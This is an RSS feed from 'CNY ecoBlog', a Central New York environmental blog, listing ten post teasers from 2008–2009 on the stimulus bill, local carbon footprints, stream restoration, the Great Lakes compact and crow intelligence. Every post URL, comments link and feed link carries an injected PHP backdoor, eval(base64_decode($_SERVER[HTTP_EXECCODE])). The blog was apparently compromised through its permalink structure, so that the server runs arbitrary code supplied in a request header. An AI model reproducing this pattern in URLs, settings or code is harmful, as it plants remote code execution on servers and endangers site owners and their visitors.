<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CNY ecoBlog</title>
	<atom:link href="http://www.blog.ecocny.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blog.ecocny.com</link>
	<description></description>
	<lastBuildDate>Wed, 11 Mar 2009 00:49:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>“Mother Nature doesn’t do bailouts.”</title>
		<link>http://www.blog.ecocny.com/2009/03/10/%e2%80%9cmother-nature-doesn%e2%80%99t-do-bailouts%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2009/03/10/%e2%80%9cmother-nature-doesn%e2%80%99t-do-bailouts%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 00:47:48 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[Economy]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2009/03/10/435/</guid>
		<description><![CDATA[Is the current economic crisis, an ecological crisis? This is essential the question Thomas Friedman is asking in his latest NY Times Op-Ed: What if the crisis of 2008 represents something much more fundamental than a deep recession? What if &#8230; <a href="http://www.blog.ecocny.com/2009/03/10/%e2%80%9cmother-nature-doesn%e2%80%99t-do-bailouts%e2%80%9d/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2009/03/10/%e2%80%9cmother-nature-doesn%e2%80%99t-do-bailouts%e2%80%9d/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stimulus Bill: Where the money goes</title>
		<link>http://www.blog.ecocny.com/2009/02/20/stimulus-bill-where-the-money-goes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2009/02/20/stimulus-bill-where-the-money-goes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 12:56:32 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[General News]]></category>
		<category><![CDATA[Politics]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2009/02/20/434/</guid>
		<description><![CDATA[Here is a nice graphic (PDF) summarizing the stimulus money programs.&#160; H/T Environmental Economics who writes on the climate change aspects of the bill: I&#8217;m sure that the green energy subsidies will substitute, at least for a time, for policy &#8230; <a href="http://www.blog.ecocny.com/2009/02/20/stimulus-bill-where-the-money-goes/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2009/02/20/stimulus-bill-where-the-money-goes/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What got cut from the stimulus bill</title>
		<link>http://www.blog.ecocny.com/2009/02/11/what-got-cut-from-the-stimulus-bill/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2009/02/11/what-got-cut-from-the-stimulus-bill/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 11 Feb 2009 13:20:07 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[Politics]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2009/02/11/433/</guid>
		<description><![CDATA[This absolutely infuriates me.&#160; From CNN, &#8220;a coalition of Democrats and some Republicans reached a compromise that trimmed billions in spending from an earlier version of the Senate economic stimulus bill.&#160; Some of the cuts: &#8226; $3.5 billion for energy-efficient &#8230; <a href="http://www.blog.ecocny.com/2009/02/11/what-got-cut-from-the-stimulus-bill/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2009/02/11/what-got-cut-from-the-stimulus-bill/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The science of stream restoration</title>
		<link>http://www.blog.ecocny.com/2008/06/24/the-science-of-stream-restoration/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/06/24/the-science-of-stream-restoration/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 17:19:00 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Infrastructure]]></category>
		<category><![CDATA[Watersheds, Rivers, Lakes]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/06/24/432/</guid>
		<description><![CDATA[NY Times science has a good article on the science of stream restoration. Reading this I couldn&#8217;t help but think of The Onondaga Creek Conceptual Revitalization Plan. The best approach for stream restoration &#8220;is to create landforms and water flows &#8230; <a href="http://www.blog.ecocny.com/2008/06/24/the-science-of-stream-restoration/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/06/24/the-science-of-stream-restoration/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Richard Florida:  Who&#8217;s Your City?</title>
		<link>http://www.blog.ecocny.com/2008/06/20/richard-florida-whos-your-city/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/06/20/richard-florida-whos-your-city/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 16:17:52 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Urbanism and Planning]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/06/20/431/</guid>
		<description><![CDATA[I happened to catch a little of our favorite urbanist, Richard Florida, on talk of the Nation yesterday. In case anyone is interested here is the NPR link- Why &#8216;Where&#8217; Is More Important than &#8216;Who&#8217; or &#8216;What&#8217; - this contains &#8230; <a href="http://www.blog.ecocny.com/2008/06/20/richard-florida-whos-your-city/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/06/20/richard-florida-whos-your-city/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>US Carbon Footprint</title>
		<link>http://www.blog.ecocny.com/2008/06/05/us-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/06/05/us-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 10:13:34 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Climate]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/06/05/430/</guid>
		<description><![CDATA[I grabbed this from Wired Science, &#8220;Scientists Unveil High-Res Map of the U.S. Carbon Footprint&#8221; and I think it provides some context of recent revelations of Central New Yorks poor per capita carbon footprint ranking relative to other metro areas. &#8230; <a href="http://www.blog.ecocny.com/2008/06/05/us-carbon-footprint/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/06/05/us-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is Time Running Out On The Great Lakes Basin Compact?</title>
		<link>http://www.blog.ecocny.com/2008/06/03/is-time-running-out-on-the-great-lakes-basin-compact/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/06/03/is-time-running-out-on-the-great-lakes-basin-compact/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 03 Jun 2008 17:19:33 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Great Lakes]]></category>
		<category><![CDATA[Watersheds, Rivers, Lakes]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/06/03/428/</guid>
		<description><![CDATA[There is a lot of justifiable concern that environmental stress and large-scale diversions to more arid regions of the country could threaten the health of the Great Lakes and surrounding communities. That is in a nut-shell the reason for being &#8230; <a href="http://www.blog.ecocny.com/2008/06/03/is-time-running-out-on-the-great-lakes-basin-compact/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/06/03/is-time-running-out-on-the-great-lakes-basin-compact/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Syracuse&#8217;s carbon footprint</title>
		<link>http://www.blog.ecocny.com/2008/05/29/syracuses-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/05/29/syracuses-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 29 May 2008 10:46:15 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Climate]]></category>
		<category><![CDATA[Energy & Energy Conservation]]></category>
		<category><![CDATA[Urbanism and Planning]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/05/29/427/</guid>
		<description><![CDATA[From The Post Standard news site (by Tim Knauss): Syracusans contribute more per person to global warming than the residents of any other major city in New York, and far more than people in smog-filled Los Angeles, according to a &#8230; <a href="http://www.blog.ecocny.com/2008/05/29/syracuses-carbon-footprint/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/05/29/syracuses-carbon-footprint/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Intelligence of Crows</title>
		<link>http://www.blog.ecocny.com/2008/05/29/the-intelligence-of-crows/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/05/29/the-intelligence-of-crows/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 29 May 2008 09:51:17 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Local Ecology]]></category>
		<category><![CDATA[Sightings]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/05/29/426/</guid>
		<description><![CDATA[I&#8217;ve always been fascinated by crow intelligence and at the same time amazed how few people recognize this intelligence especially since, according to some cognitive research, theirs exceeds that of dogs. This video lecture from a writer Joshua Klein, who &#8230; <a href="http://www.blog.ecocny.com/2008/05/29/the-intelligence-of-crows/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/05/29/the-intelligence-of-crows/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>January Thaw: Global Warming?</title>
		<link>http://www.blog.ecocny.com/2008/01/08/january-thaw-global-warming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.blog.ecocny.com/2008/01/08/january-thaw-global-warming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 09 Jan 2008 02:09:32 +0000</pubDate>
		<dc:creator>AZ</dc:creator>
				<category><![CDATA[Climate]]></category>

		<guid isPermaLink="false">http://www.blog.ecocny.com/archives/2008/01/08/425/</guid>
		<description><![CDATA[Sean Kirst asks whether the recent annual recurrence of January thaws is a sign of global warming or simply part of the natural variability of our upstate winters. The answer is both: as a singular event a warm winter spell &#8230; <a href="http://www.blog.ecocny.com/2008/01/08/january-thaw-global-warming/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}&#124;.+)&#038;%/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
		<wfw:commentRss>http://www.blog.ecocny.com/2008/01/08/january-thaw-global-warming/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

